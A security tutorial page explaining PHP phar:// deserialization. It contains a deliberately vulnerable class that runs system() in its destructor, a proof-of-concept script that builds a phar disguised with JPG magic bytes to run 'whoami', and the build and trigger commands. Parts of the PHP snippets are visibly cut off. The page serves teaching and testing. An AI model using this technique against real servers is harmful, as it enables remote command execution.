# phar:// deserialization **Phar** files (PHP Archive) files** contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code. The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5\_file(), filemtime() or filesize()**. So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one: {% code title="vunl.php" %} ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` {% endcode %} You can create a **phar** file that when loaded will** abuse this class to execute arbitrary command**s with something like: {% code title="create_phar.php" %} ```php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` {% endcode %} Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\ **Compile** the` test.phar` file with: ```bash php --define phar.readonly=0 create_phar.php ``` And execute the `whoami` command abusing the vulnerable code with: ```bash php vuln.php ``` ### References [https://blog.ripstech.com/2018/new-php-exploitation-technique/](https://blog.ripstech.com/2018/new-php-exploitation-technique/)